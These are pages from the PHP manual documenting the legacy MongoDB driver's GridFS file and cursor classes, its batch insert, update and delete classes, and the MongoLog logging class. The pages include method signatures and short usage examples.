Errors/Exceptions

Throws MongoGridFSException if there is an error reading the uploaded file(s) or inserting into the chunks or files collections.

Changelog

Version | Description
1.2.5 | Changed second parameter to an array of metadata. Pre-1.2.5, the second parameter was an optional string overriding the filename.

Examples

Example #1 MongoGridFS::storeUpload() HTML form example

Suppose you have the following HTML form:

<form method="POST" enctype="multipart/form-data">
    <label for="username">Username:</label>
    <input type="text" name="username" id="username" />

    <label for="pic">Please upload a profile picture:</label>
    <input type="file" name="pic" id="pic" />

    <input type="submit" />
</form>

If you wanted to store the uploaded image in MongoDB, you could do the following in the script handling the form submission:

<?php
$m = new MongoClient();
$gridfs = $m->selectDB('test')->getGridFS();

$gridfs->storeUpload('pic', array('username' => $_POST['username']));
?>

See Also

  • MongoGridFS::put() - Stores a file in the database
  • MongoGridFS::storeBytes() - Stores a string of bytes in the database
  • MongoGridFS::storeFile() - Stores a file in the database
  • MongoDB core docs on » GridFS

User Contributed Notes

There are no user contributed notes for this page.


The MongoGridFSFile class

(PECL mongo >=0.9.0)

Introduction

A database file object.

Class synopsis

MongoGridFSFile {
/* Fields */
public array $file = NULL ;
protected MongoGridFS $gridfs = NULL ;
/* Methods */
public MongoGridfsFile::__construct ( MongoGridFS $gridfs , array $file )
public string getBytes ( void )
public string getFilename ( void )
public stream getResource ( void )
public int getSize ( void )
public int write ([ string $filename = NULL ] )
}

Table of Contents

  • MongoGridfsFile::__construct — Create a new GridFS file
  • MongoGridFSFile::getBytes — Returns this file's contents as a string of bytes
  • MongoGridFSFile::getFilename — Returns this file's filename
  • MongoGridFSFile::getResource — Returns a resource that can be used to read the stored file
  • MongoGridFSFile::getSize — Returns this file's size
  • MongoGridFSFile::write — Writes this file to the filesystem

User Contributed Notes

There are no user contributed notes for this page.


Create a new GridFS file

  • « MongoGridFSFile
  • MongoGridFSFile::getBytes »
  • PHP Manual
  • MongoGridFSFile
  • Create a new GridFS file

MongoGridfsFile::__construct

(PECL mongo >=0.9.0)

MongoGridfsFile::__construct — Create a new GridFS file

Description

public MongoGridfsFile::__construct ( MongoGridFS $gridfs , array $file )

Parameters

gridfs

The parent MongoGridFS instance.

file

A file from the database.

Return Values

Returns a new MongoGridFSFile.

User Contributed Notes

There are no user contributed notes for this page.


Returns this file's contents as a string of bytes

  • « MongoGridfsFile::__construct
  • MongoGridFSFile::getFilename »
  • PHP Manual
  • MongoGridFSFile
  • Returns this file's contents as a string of bytes

MongoGridFSFile::getBytes

(PECL mongo >=0.9.0)

MongoGridFSFile::getBytes — Returns this file's contents as a string of bytes

Description

public string MongoGridFSFile::getBytes ( void )

Warning: this will load the file into memory. If the file is bigger than your memory, this will cause problems!

Parameters

This function has no parameters.

Return Values

Returns a string of the bytes in the file.

Examples

Example #1 MongoGridFSFile::getBytes() example

<?php

$images = $db->my_db->getGridFS('images');

$image = $images->findOne('jwage.png');

header('Content-type: image/png;');
echo $image->getBytes();
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns this file's filename

  • « MongoGridFSFile::getBytes
  • MongoGridFSFile::getResource »
  • PHP Manual
  • MongoGridFSFile
  • Returns this file's filename

MongoGridFSFile::getFilename

(PECL mongo >=0.9.0)

MongoGridFSFile::getFilename — Returns this file's filename

Description

public string MongoGridFSFile::getFilename ( void )

Parameters

This function has no parameters.

Return Values

Returns the filename.

User Contributed Notes

There are no user contributed notes for this page.


Returns a resource that can be used to read the stored file

  • « MongoGridFSFile::getFilename
  • MongoGridFSFile::getSize »
  • PHP Manual
  • MongoGridFSFile
  • Returns a resource that can be used to read the stored file

MongoGridFSFile::getResource

(PECL mongo >=1.3.0)

MongoGridFSFile::getResource — Returns a resource that can be used to read the stored file

Description

public stream MongoGridFSFile::getResource ( void )

This method returns a stream resource that can be used with all file functions in PHP that deal with reading files. The contents of the file are pulled out of MongoDB on the fly, so that the whole file does not have to be loaded into memory first.

At most two GridFSFile chunks will be loaded in memory.

Parameters

This function has no parameters.

Return Values

Returns a resource that can be used to read the file with

Examples

Example #1 MongoGridFSFile::getResource() example

<?php
$m = new Mongo;
$images = $m->my_db->getGridFS('images');

$image = $images->findOne('mongo.png');

header('Content-type: image/png;');
$stream = $image->getResource();

while (!feof($stream)) {
    echo fread($stream, 8192);
}
?>

User Contributed Notes

chuck at manchuck dot com 15-Feb-2013 09:28
Please note that the file pointer is reset on each call to get resource


Returns this file's size

  • « MongoGridFSFile::getResource
  • MongoGridFSFile::write »
  • PHP Manual
  • MongoGridFSFile
  • Returns this file's size

MongoGridFSFile::getSize

(PECL mongo >=0.9.0)

MongoGridFSFile::getSize — Returns this file's size

Description

public int MongoGridFSFile::getSize ( void )

Parameters

This function has no parameters.

Return Values

Returns this file's size

User Contributed Notes

There are no user contributed notes for this page.


Writes this file to the filesystem

  • « MongoGridFSFile::getSize
  • MongoGridFSCursor »
  • PHP Manual
  • MongoGridFSFile
  • Writes this file to the filesystem

MongoGridFSFile::write

(PECL mongo >=0.9.0)

MongoGridFSFile::write — Writes this file to the filesystem

Description

public int MongoGridFSFile::write ([ string $filename = NULL ] )

Parameters

filename

The location to which to write the file. If none is given, the stored filename will be used.

Return Values

Returns the number of bytes written.

Examples

Example #1 MongoGridFSFile::write() example

<?php

$images = $db->my_db->getGridFS('images');

$image = $images->findOne('jwage.png');
$image->write('/path/to/write/jwage.png');
?>

User Contributed Notes

There are no user contributed notes for this page.


The MongoGridFSCursor class

(PECL mongo >=0.9.0)

Introduction

Cursor for database file results.

Class synopsis

extends MongoCursor {
/* Fields */
protected MongoGridFS $gridfs = NULL ;
/* Methods */
public __construct ( MongoGridFS $gridfs , resource $connection , string $ns , array $query , array $fields )
public MongoGridFSFile current ( void )
public MongoGridFSFile getNext ( void )
public string key ( void )
}

Table of Contents

  • MongoGridFSCursor::__construct — Create a new cursor
  • MongoGridFSCursor::current — Returns the current file
  • MongoGridFSCursor::getNext — Return the next file to which this cursor points, and advance the cursor
  • MongoGridFSCursor::key — Returns the current result's filename

User Contributed Notes

There are no user contributed notes for this page.


Create a new cursor

  • « MongoGridFSCursor
  • MongoGridFSCursor::current »
  • PHP Manual
  • MongoGridFSCursor
  • Create a new cursor

MongoGridFSCursor::__construct

(PECL mongo >=0.9.0)

MongoGridFSCursor::__construct — Create a new cursor

Description

public MongoGridFSCursor::__construct ( MongoGridFS $gridfs , resource $connection , string $ns , array $query , array $fields )

Parameters

gridfs

Related GridFS collection.

connection

Database connection.

ns

Full name of database and collection.

query

Database query.

fields

Fields to return.

Return Values

Returns the new cursor.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current file

  • « MongoGridFSCursor::__construct
  • MongoGridFSCursor::getNext »
  • PHP Manual
  • MongoGridFSCursor
  • Returns the current file

MongoGridFSCursor::current

(PECL mongo >=0.9.0)

MongoGridFSCursor::current — Returns the current file

Description

public MongoGridFSFile MongoGridFSCursor::current ( void )

Parameters

This function has no parameters.

Return Values

The current file.

User Contributed Notes

There are no user contributed notes for this page.


Return the next file to which this cursor points, and advance the cursor

  • « MongoGridFSCursor::current
  • MongoGridFSCursor::key »
  • PHP Manual
  • MongoGridFSCursor
  • Return the next file to which this cursor points, and advance the cursor

MongoGridFSCursor::getNext

(PECL mongo >=0.9.0)

MongoGridFSCursor::getNext — Return the next file to which this cursor points, and advance the cursor

Description

public MongoGridFSFile MongoGridFSCursor::getNext ( void )

Parameters

This function has no parameters.

Return Values

Returns the next file.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current result's filename

  • « MongoGridFSCursor::getNext
  • Batch Classes »
  • PHP Manual
  • MongoGridFSCursor
  • Returns the current result's filename

MongoGridFSCursor::key

(PECL mongo >=0.9.0)

MongoGridFSCursor::key — Returns the current result's filename

Description

public string MongoGridFSCursor::key ( void )

Parameters

This function has no parameters.

Return Values

The current result's _id as a string.

Changelog

Version | Description
1.3.0 | The document's _id is returned as a string value, since the key should be unique. Pre-1.3.0, filename was returned.

User Contributed Notes

There are no user contributed notes for this page.


Batch Classes

Table of Contents

  • MongoWriteBatch
  • MongoInsertBatch
  • MongoUpdateBatch
  • MongoDeleteBatch

User Contributed Notes

There are no user contributed notes for this page.


The MongoWriteBatch class

(PECL mongo >=1.5.0)

Introduction

MongoWriteBatch is the base class for the MongoInsertBatch, MongoUpdateBatch and MongoDeleteBatch classes.

MongoWriteBatch allows you to "batch up" multiple operations (of same type) and shipping them all to MongoDB at the same time. This can be especially useful when operating on many documents at the same time to reduce roundtrips.

Prior to version 1.5.0 of the driver it was possible to use MongoCollection::batchInsert(), however, as of 1.5.0 that method is now discouraged.

Note: This class is only available when talking to MongoDB 2.6.0 (and later) servers. It will throw MongoProtocolException if attempting to use it on older MongoDB servers.

Class synopsis

MongoWriteBatch {
/* Constants */
const int COMMAND_INSERT = 1 ;
const int COMMAND_UPDATE = 2 ;
const int COMMAND_DELETE = 3 ;
/* Methods */
protected __construct ( MongoCollection $collection [, string $batch_type [, array $write_options ]] )
public bool add ( array $item )
final public array execute ( array $write_options )
}

MongoWriteBatch types

MongoWriteBatch::COMMAND_INSERT

Create an Insert Write Batch

MongoWriteBatch::COMMAND_UPDATE

Create an Update Write Batch

MongoWriteBatch::COMMAND_DELETE

Create an Delete Write Batch

Description

When executing a batch, by calling MongoWriteBatch::execute(), MongoWriteBatch will send over » maxWriteBatchSize (defaults to 1000) documents or up to » maxBsonObjectSize (defaults to 16777216 bytes), whichever comes first.

Note:

Documents will never be partially transferred. When adding documents to the batch, that overflows the limit, a new batch will be created and the document put into the new batch.

Errors/Exceptions

  • Exception on parameter parsing failures
  • Exception on argument validation errors (e.g. missing keys)
  • MongoProtocolException when talking to MongoDB server older then 2.6.0.
  • MongoProtocolException on socket errors.
  • MongoWriteConcernException when a write fails due to WriteConcerns

Examples

Example #1 MongoWriteBatch example

Adding documents to a Insert batch and then execute it

<?php
$mc = new MongoClient("localhost");

$collection = $mc->selectCollection("test", "test");

$docs = array();
$docs[] = array("my" => "demo");
$docs[] = array("is" => "working");
$docs[] = array("pretty" => "well");

$batch = new MongoInsertBatch($collection);
foreach($docs as $document) {
    $batch->add($document);
}
$retval = $batch->execute(array("w" => 1));
var_dump($retval);
?>

The above example will output:

array(2) {
  ["nInserted"]=>
  int(3)
  ["ok"]=>
  bool(true)
}

Table of Contents

  • MongoWriteBatch::add — Adds an CRUD operation to a batch
  • MongoWriteBatch::__construct — Description
  • MongoWriteBatch::execute — Description

User Contributed Notes

There are no user contributed notes for this page.


Adds an CRUD operation to a batch

  • « MongoWriteBatch
  • MongoWriteBatch::__construct »
  • PHP Manual
  • MongoWriteBatch
  • Adds an CRUD operation to a batch

MongoWriteBatch::add

(PECL mongo >= 1.5.0)

MongoWriteBatch::add — Adds an CRUD operation to a batch

Description

public bool MongoWriteBatch::add ( array $item )

The operation to add to the batch.

If $item causes the batch to hit the » maxWriteBatchSize or » maxBsonObjectSize limits, a new batch will be created internally and the batches batched up and sent one at a time upon calling MongoWriteBatch::execute().

Parameters

item

When current batch is | Argument expectation
MongoWriteBatch::COMMAND_INSERT | The document to add
MongoWriteBatch::COMMAND_UPDATE

Raw update operation. Required keys are: array("q" => array("criteria"), "u" => array("new data"))

Optionally with the "multi" and "upsert" keys as boolean values

"upsert": If set to true, creates a new document when no document matches the query criteria. The default value is false, which does not insert a new document when no match is found.
MongoWriteBatch::COMMAND_DELETE | Raw delete operation. Required keys are: array("q" => array("criteria"), "limit" => 1)

Return Values

Returns TRUE on success, throws exception on failure.

Errors/Exceptions

  • Exception on parameter parsing failures
  • Exception on argument validation errors (e.g. missing keys)

Examples

Example #1 MongoWriteBatch::add() example

Batching up multiple insert operations

<?php
$mc = new MongoClient("localhost");
$collection = $mc->selectCollection("test", "test");

$docs = array();
$docs[] = array("my" => "demo");
$docs[] = array("is" => "working");
$docs[] = array("pretty" => "well");

$batch = new MongoInsertBatch($collection);
foreach($docs as $document) {
    $batch->add($document);
}
$batch->execute(array("w" => 1));
?>

Example #2 MongoWriteBatch::add() example

Batching up multiple update operations

<?php
$mc = new MongoClient("localhost");
$collection = $mc->selectCollection("test", "test");

$item1 = array(
    "q" => array("my" => "demo"),
    "u" => array('$set' => array("try" => 1)),
    "multi"  => false, /* default value */
    "upsert" => false, /* default value */
);
$item2 = array(
    "q" => array("is" => "working"),
    "u" => array('$set' => array("try" => 2)),
    "multi" => true,
);
$item3 = array(
    "q" => array("created" => "new-document"),
    "u" => array('$set' => array("try" => 3)),
    "upsert" => true,
);

$batch = new MongoUpdateBatch($collection);
$batch->add($item1);
$batch->add($item2);
$batch->add($item3);
$batch->execute(array("w" => 1));

?>

Example #3 MongoWriteBatch::add() example

Batching up multiple delete operations

<?php
$mc = new MongoClient("localhost");
$collection = $mc->selectCollection("test", "test");

$item1 = array(
    "q" => array("my" => "demo"),
    "limit" => 1,
);
$item2 = array(
    "q" => array("try" => 3),
    "limit" => 1,
);

$batch = new MongoDeleteBatch($collection);
$batch->add($item1);
$batch->add($item2);
$batch->execute(array("w" => 1));
?>

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « MongoWriteBatch::add
  • MongoWriteBatch::execute »
  • PHP Manual
  • MongoWriteBatch
  • Description

MongoWriteBatch::__construct

(PECL mongo >= 1.5.0)

MongoWriteBatch::__construct — Description

Description

protected MongoWriteBatch::__construct ( MongoCollection $collection [, string $batch_type [, array $write_options ]] )

Constructs a new MongoWriteBatch.

Note:

This is a protected constructor. Please use one of the classes inheriting MongoWriteBatch.

Parameters

collection

The MongoCollection to execute the batch on. Its write concern will be copied and used as the default write concern if none is given as $write_options or during MongoWriteBatch::execute().

batch_type

One of:

  • 0 - make an MongoWriteBatch::COMMAND_INSERT batch
  • 1 - make an MongoWriteBatch::COMMAND_UPDATE batch
  • 2 - make a MongoWriteBatch::COMMAND_DELETE batch

write_options

An array of Write Options.

key | value meaning
w (int|string) | Write concern value
wtimeout (int) | Maximum time to wait for replication
ordered | Determins if MongoDB must apply this batch in order (sequentally, one item at a time) or can rearrange it. Defaults to TRUE
j (bool) | Wait for journaling on the primary. This value is discouraged, use WriteConcern instead
fsync (bool) | Wait for fsync on the primary. This value is discouraged, use WriteConcern instead

Return Values

A new MongoWriteBatch of type batch_type.

See Also

  • MongoInsertBatch
  • MongoUpdateBatch
  • MongoDeleteBatch

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « MongoWriteBatch::__construct
  • MongoInsertBatch »
  • PHP Manual
  • MongoWriteBatch
  • Description

MongoWriteBatch::execute

(PECL mongo >= 1.5.0)

MongoWriteBatch::execute — Description

Description

final public array MongoWriteBatch::execute ( array $write_options )

Executes the MongoWriteBath.

Parameters

write_options

See MongoWriteBatch::__construct.

Return Values

Returns an array containing statistical information for the full batch. If the batch had to be split into multiple batches, the return value will aggregate the values from individual batches and return only the totals.

If the batch was empty, an array containing only the 'ok' field is returned (as TRUE) although nothing will be shipped over the wire (NOOP).

Array key | Value meaning | Returned for batch type
nInserted | Number of inserted documents | MongoWriteBatch::COMMAND_INSERT batch
nMatched | Number of documents matching the query criteria | MongoWriteBatch::COMMAND_UPDATE batch
nModified | Number of documents actually needed to be modied | MongoWriteBatch::COMMAND_UPDATE batch
nUpserted | Number of upserted documents | MongoWriteBatch::COMMAND_UPDATE batch
nRemoved | Number of documents removed | MongoWriteBatch::COMMAND_DELETE batch
ok | Command success indicator | All

Errors/Exceptions

A MongoWriteConcernException exception is thrown on failure.

Examples

Example #1 MongoWriteBatch::add() example

Batching up multiple insert operations

<?php
$mc = new MongoClient("localhost");
$collection = $mc->selectCollection("test", "test");

$docs = array();
$docs[] = array("my" => "demo");
$docs[] = array("is" => "working");
$docs[] = array("pretty" => "well");

$batch = new MongoInsertBatch($collection);
foreach($docs as $document) {
    $batch->add($document);
}
$retval = $batch->execute(array("w" => 1));
var_dump($retval);
?>

The above example will output:

array(2) {
  ["nInserted"]=>
  int(3)
  ["ok"]=>
  bool(true)
}

Example #2 MongoWriteBatch::add() example

Batching up multiple update operations

<?php
$mc = new MongoClient("localhost");
$collection = $mc->selectCollection("test", "test");

$item1 = array(
    "q" => array("my" => "demo"),
    "u" => array('$set' => array("try" => 1)),
    "multi"  => false, /* default value */
    "upsert" => false, /* default value */
);
$item2 = array(
    "q" => array("is" => "working"),
    "u" => array('$set' => array("try" => 2)),
    "multi" => true,
);
$item3 = array(
    "q" => array("created" => "new-document"),
    "u" => array('$set' => array("try" => 3)),
    "upsert" => true,
);

$batch = new MongoUpdateBatch($collection);
$batch->add($item1);
$batch->add($item2);
$batch->add($item3);
$retval = $batch->execute(array("w" => 1));
var_dump($retval);

?>

The above example will output:

array(4) {
  ["nMatched"]=>
  int(18)
  ["nModified"]=>
  int(2)
  ["nUpserted"]=>
  int(0)
  ["ok"]=>
  bool(true)
}

Example #3 MongoWriteBatch::add() example

Batching up multiple delete operations

<?php
$mc = new MongoClient("localhost");
$collection = $mc->selectCollection("test", "test");

$item1 = array(
    "q" => array("my" => "demo"),
    "limit" => 1,
);
$item2 = array(
    "q" => array("try" => 3),
    "limit" => 1,
);

$batch = new MongoDeleteBatch($collection);
$batch->add($item1);
$batch->add($item2);
$retval = $batch->execute(array("w" => 1));
var_dump($retval);
?>

The above example will output:

array(2) {
  ["nRemoved"]=>
  int(1)
  ["ok"]=>
  bool(true)
}

User Contributed Notes

There are no user contributed notes for this page.


The MongoInsertBatch class

(PECL mongo >=1.5.0)

Introduction

Constructs a batch of INSERT operations. See MongoWriteBatch.

Class synopsis

MongoInsertBatch extends MongoWriteBatch {
/* Methods */
public __construct ( MongoCollection $collection [, array $write_options ] )
/* Inherited methods */
public bool MongoWriteBatch::add ( array $item )
final public array MongoWriteBatch::execute ( array $write_options )
}

Table of Contents

  • MongoInsertBatch::__construct — Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « MongoInsertBatch
  • MongoUpdateBatch »
  • PHP Manual
  • MongoInsertBatch
  • Description

MongoInsertBatch::__construct

(PECL mongo >= 1.5.0)

MongoInsertBatch::__construct — Description

Description

public MongoInsertBatch::__construct ( MongoCollection $collection [, array $write_options ] )

Constructs a batch of INSERT operations. See MongoWriteBatch.

Parameters

collection

The MongoCollection to execute the batch on. Its write concern will be copied and used as the default write concern if none is given as $write_options or during MongoWriteBatch::execute().

write_options

An array of Write Options.

key | value meaning
w (int|string) | Write concern value
wtimeout (int) | Maximum time to wait for replication
ordered | Determins if MongoDB must apply this batch in order (sequentally, one item at a time) or can rearrange it. Defaults to TRUE
j (bool) | Wait for journaling on the primary. This value is discouraged, use WriteConcern instead
fsync (bool) | Wait for fsync on the primary. This value is discouraged, use WriteConcern instead

Return Values

A new MongoInsertBatch.

User Contributed Notes

There are no user contributed notes for this page.


The MongoUpdateBatch class

(PECL mongo >=1.5.0)

Introduction

Constructs a batch of UPDATE operations. See MongoWriteBatch.

Class synopsis

MongoUpdateBatch extends MongoWriteBatch {
/* Methods */
public __construct ( MongoCollection $collection [, array $write_options ] )
/* Inherited methods */
public bool MongoWriteBatch::add ( array $item )
final public array MongoWriteBatch::execute ( array $write_options )
}

Table of Contents

  • MongoUpdateBatch::__construct — Description

User Contributed Notes

jujhar at jujhar dot com 27-Aug-2014 08:10
Here's a stackoverflow link showing you how to use this BulkUpdate feature properly and format the updates you add to the class.

http://stackoverflow.com/questions/24753464/mongo-mass-update-to-lower-case

eg.
<?php
 $batch->add(
         array(
             "q" => array( '_id' => $doc['_id'] ),
             "u" => array(
                 '$set' => array(
                     'UserName' => strtolower($doc['UserName'])
                 )
             )
         )
     );
?>


Description

  • « MongoUpdateBatch
  • MongoDeleteBatch »
  • PHP Manual
  • MongoUpdateBatch
  • Description

MongoUpdateBatch::__construct

(PECL mongo >= 1.5.0)

MongoUpdateBatch::__construct — Description

Description

public MongoUpdateBatch::__construct ( MongoCollection $collection [, array $write_options ] )

Constructs a batch of UPDATE operations. See MongoWriteBatch.

Parameters

collection

The MongoCollection to execute the batch on. Its write concern will be copied and used as the default write concern if none is given as $write_options or during MongoWriteBatch::execute().

write_options

An array of Write Options.

key | value meaning
w (int|string) | Write concern value
wtimeout (int) | Maximum time to wait for replication
ordered | Determins if MongoDB must apply this batch in order (sequentally, one item at a time) or can rearrange it. Defaults to TRUE
j (bool) | Wait for journaling on the primary. This value is discouraged, use WriteConcern instead
fsync (bool) | Wait for fsync on the primary. This value is discouraged, use WriteConcern instead

Return Values

A new MongoUpdateBatch.

User Contributed Notes

There are no user contributed notes for this page.


The MongoDeleteBatch class

(PECL mongo >=1.5.0)

Introduction

Constructs a batch of DELETE operations. See MongoWriteBatch.

Class synopsis

MongoDeleteBatch extends MongoWriteBatch {
/* Methods */
public __construct ( MongoCollection $collection [, array $write_options ] )
/* Inherited methods */
public bool MongoWriteBatch::add ( array $item )
final public array MongoWriteBatch::execute ( array $write_options )
}

Table of Contents

  • MongoDeleteBatch::__construct — Description

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « MongoDeleteBatch
  • Miscellaneous »
  • PHP Manual
  • MongoDeleteBatch
  • Description

MongoDeleteBatch::__construct

(PECL mongo >= 1.5.0)

MongoDeleteBatch::__construct — Description

Description

public MongoDeleteBatch::__construct ( MongoCollection $collection [, array $write_options ] )

Constructs a batch of DELETE operations. See MongoWriteBatch.

Parameters

collection

The MongoCollection to execute the batch on. Its write concern will be copied and used as the default write concern if none is given as $write_options or during MongoWriteBatch::execute().

write_options

An array of Write Options.

key | value meaning
w (int|string) | Write concern value
wtimeout (int) | Maximum time to wait for replication
ordered | Determins if MongoDB must apply this batch in order (sequentally, one item at a time) or can rearrange it. Defaults to TRUE
j (bool) | Wait for journaling on the primary. This value is discouraged, use WriteConcern instead
fsync (bool) | Wait for fsync on the primary. This value is discouraged, use WriteConcern instead

Return Values

A new MongoDeleteBatch.

User Contributed Notes

There are no user contributed notes for this page.


Miscellaneous

Table of Contents

  • MongoLog
  • MongoPool
  • Mongo

User Contributed Notes

There are no user contributed notes for this page.


The MongoLog class

(PECL mongo >=1.2.3)

Introduction

Logging can be used to get detailed information about what the driver is doing. Logging is disabled by default, but this class allows you to activate specific levels of logging for various parts of the driver. Some examples:

<?php

// print every log message possible
MongoLog::setLevel(MongoLog::ALL); // all log levels
MongoLog::setModule(MongoLog::ALL); // all parts of the driver

// print significant events about replica set failover
MongoLog::setLevel(MongoLog::INFO);
MongoLog::setModule(MongoLog::RS);

// print info- and diagnostic-level events for replica sets and connections
MongoLog::setLevel(MongoLog::INFO|MongoLog::FINE);
MongoLog::setModule(MongoLog::RS|MongoLog::CON);

?>

Note:

By default, MongoLog emits all log messages as PHP notices. Depending on the SAPI you use, messages may be sent to stderr (for CLI) or the web server's error log. If, after configuring MongoLog, log messages are not appearing as expected, ensure that the E_NOTICE bit is included in error_reporting and that display_errors is on.

Class synopsis

MongoLog {
/* Constants */
const int NONE = 0 ;
const int ALL = 31 ;
level constants {
const int WARNING = 1 ;
const int INFO = 2 ;
const int FINE = 4 ;
module constants {
const int RS = 1 ;
const int POOL = 1 ;
const int CON = 2 ;
const int IO = 4 ;
const int SERVER = 8 ;
const int PARSE = 16 ;
/* Fields */
private static int $callback ;
private static int $level ;
private static int $module ;
/* Methods */
public static callable getCallback ( void )
public static int getLevel ( void )
public static int getModule ( void )
public static void setCallback ( callable $log_function )
public static void setLevel ( int $level )
public static void setModule ( int $module )
}

Predefined Constants

MongoLog Constants

These constants can be used by both MongoLog::setLevel() and MongoLog::setModule().

MongoLog::NONE
Log nothing.
MongoLog::ALL
Log everything.

MongoLog Level Constants

These constants can be used by MongoLog::setLevel().

MongoLog::WARNING
Log events that are somewhat exceptional, but not quite worthy of an actual exception (e.g. recoverable connection errors).
MongoLog::INFO
Log events that may be of interest to administrators, but are not particularly noteworthy (e.g. option parsing, authentication steps).
MongoLog::FINE
Log most events that the driver performs (e.g. server selection, socket communication). Depending on the module being logged, this can be extremely noisy and is primarily useful for debugging.

MongoLog Module Constants

These constants can be used by MongoLog::setModule().

MongoLog::CON
Log connection activity. Creating new connections, authentication, pinging, timeouts, etc.
MongoLog::IO
Log traffic to/from the database. Unless your program is trivial, this will create an enormous number of log messages.
MongoLog::PARSE
Log parsing of the connection string and options when constructing MongoClient.
MongoLog::POOL
Previously used to log connection pool activity. This option is now a deprecated alias of MongoLog::RS.
MongoLog::RS
Log replica set activity. Failovers, read preference selection, etc.
MongoLog::SERVER
Previously used to log server status changes. This option is deprecated in favor of MongoLog::RS.

Changelog

Version | Description
1.3.0 | Added MongoLog::CON and deprecated MongoLog::POOL and MongoLog::SERVER.

Table of Contents

  • MongoLog::getCallback — Gets the previously set callback function
  • MongoLog::getLevel — Gets the level(s) currently being logged
  • MongoLog::getModule — Gets the module(s) currently being logged
  • MongoLog::setCallback — Sets a callback function to be invoked for events
  • MongoLog::setLevel — Sets the level(s) to be logged
  • MongoLog::setModule — Sets the module(s) to be logged

User Contributed Notes

There are no user contributed notes for this page.


Gets the previously set callback function

  • « MongoLog
  • MongoLog::getLevel »
  • PHP Manual
  • MongoLog
  • Gets the previously set callback function

MongoLog::getCallback

(PECL mongo >= 1.3.0)

MongoLog::getCallback — Gets the previously set callback function

Description

public static callable MongoLog::getCallback ( void )

Retrieves the callback function.

Parameters

This function has no parameters.

Return Values

Returns the callback function, or FALSE if not set yet.

Notes

Caution

This function is only available with PHP 5.3.0 and later.

User Contributed Notes

There are no user contributed notes for this page.


Gets the level(s) currently being logged

  • « MongoLog::getCallback
  • MongoLog::getModule »
  • PHP Manual
  • MongoLog
  • Gets the level(s) currently being logged

MongoLog::getLevel

(PECL mongo >= 1.2.3)

MongoLog::getLevel — Gets the level(s) currently being logged

Description

public static int MongoLog::getLevel ( void )

This function can be used to see which log levels are currently enabled. The returned integer may be compared with the MongoLog level constants using bitwise operators to check for specific log levels.

<?php

if (MongoLog::getLevel() & MongoLog::FINE) {
    echo "lots of logs\n";
}

if (MongoLog::getLevel() ^ MongoLog::NONE) {
    echo "logging, at least a little\n";
}

if (MongoLog::getLevel() == MongoLog::ALL) {
    echo "logging at the highest levels\n";
}

?>

Parameters

This function has no parameters.

Return Values

Returns the level(s) currently being logged.

User Contributed Notes

There are no user contributed notes for this page.


Gets the module(s) currently being logged

  • « MongoLog::getLevel
  • MongoLog::setCallback »
  • PHP Manual
  • MongoLog
  • Gets the module(s) currently being logged

MongoLog::getModule

(PECL mongo >= 1.2.3)

MongoLog::getModule — Gets the module(s) currently being logged

Description

public static int MongoLog::getModule ( void )

This function can be used to see which driver modules are currently being logged. The returned integer may be compared with the MongoLog module constants using bitwise operators to check if specific modules are being logged.

<?php

if (MongoLog::getModule() & MongoLog::RS) {
    echo "logging replica sets\n";
}

if (MongoLog::getModule() ^ MongoLog::NONE) {
    echo "logging something\n";
}

if ((MongoLog::getModule() & MongoLog::IO) == 0) {
    echo "not logging io\n";
}

?>

Parameters

This function has no parameters.

Return Values

Returns the module(s) currently being logged.

User Contributed Notes

There are no user contributed notes for this page.


Sets a callback function to be invoked for events

  • « MongoLog::getModule
  • MongoLog::setLevel »
  • PHP Manual
  • MongoLog
  • Sets a callback function to be invoked for events

MongoLog::setCallback

(PECL mongo >= 1.3.0)

MongoLog::setCallback — Sets a callback function to be invoked for events

Description

public static void MongoLog::setCallback ( callable $log_function )

This function will set a callback function to be invoked for events in lieu of emitting of PHP notice.

Parameters

log_function

The callback function to be invoked on events. It should have the following prototype:

log_function ( int $module , int $level , string $message )
module
One of the MongoLog module constants.
level
One of the MongoLog level constants.
message
The log message itself.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 MongoLog::setCallback() example

<?php

function module2string($module)
{
    switch ($module) {
        case MongoLog::RS: return "REPLSET";
        case MongoLog::CON: return "CON";
        case MongoLog::IO: return "IO";
        case MongoLog::SERVER: return "SERVER";
        case MongoLog::PARSE: return "PARSE";
        default: return "UNKNOWN";
    }
}

function level2string($level)
{
    switch ($level) {
        case MongoLog::WARNING: return "WARN";
        case MongoLog::INFO: return "INFO";
        case MongoLog::FINE: return "FINE";
        default: return "UNKNOWN";
    }
}

function callback($module, $level, $message)
{
    echo date("Y-m-d H:i:s - ");
    printf("%s (%s): %s\n", module2string($module), level2string($level), $message);
}

MongoLog::setLevel(MongoLog::ALL);
MongoLog::setModule(MongoLog::ALL);

// We specify the function name here, but any callable (e.g. anonymous function) will work
MongoLog::setCallback("callback");

new MongoClient();
?>

The above example will output something similar to:

2013-07-09 09:41:42 - PARSE (INFO): Parsing localhost:27017
2013-07-09 09:41:42 - PARSE (INFO): - Found node: localhost:27017
2013-07-09 09:41:42 - PARSE (INFO): - Connection type: STANDALONE
2013-07-09 09:41:42 - CON (INFO): mongo_get_read_write_connection: finding a STANDALONE connection
2013-07-09 09:41:42 - CON (INFO): connection_create: creating new connection for localhost:27017
2013-07-09 09:41:42 - CON (INFO): stream_connect: Not establishing SSL for localhost:27017
2013-07-09 09:41:42 - CON (INFO): get_server_flags: start
2013-07-09 09:41:42 - CON (FINE): send_packet: read from header: 36
2013-07-09 09:41:42 - CON (FINE): send_packet: data_size: 95
2013-07-09 09:41:42 - CON (FINE): get_server_flags: setting maxBsonObjectSize to 16777216
2013-07-09 09:41:42 - CON (FINE): get_server_flags: setting maxMessageSizeBytes to 48000000
2013-07-09 09:41:42 - CON (INFO): is_ping: pinging localhost:27017;-;.;1543
2013-07-09 09:41:42 - CON (FINE): send_packet: read from header: 36
2013-07-09 09:41:42 - CON (FINE): send_packet: data_size: 17
2013-07-09 09:41:42 - CON (INFO): is_ping: last pinged at 1373359302; time: 0ms
2013-07-09 09:41:42 - REPLSET (FINE): finding candidate servers
2013-07-09 09:41:42 - REPLSET (FINE): - all servers
2013-07-09 09:41:42 - REPLSET (FINE): filter_connections: adding connections:
2013-07-09 09:41:42 - REPLSET (FINE): - connection: type: STANDALONE, socket: 42, ping: 0, hash: localhost:27017;-;.;1543
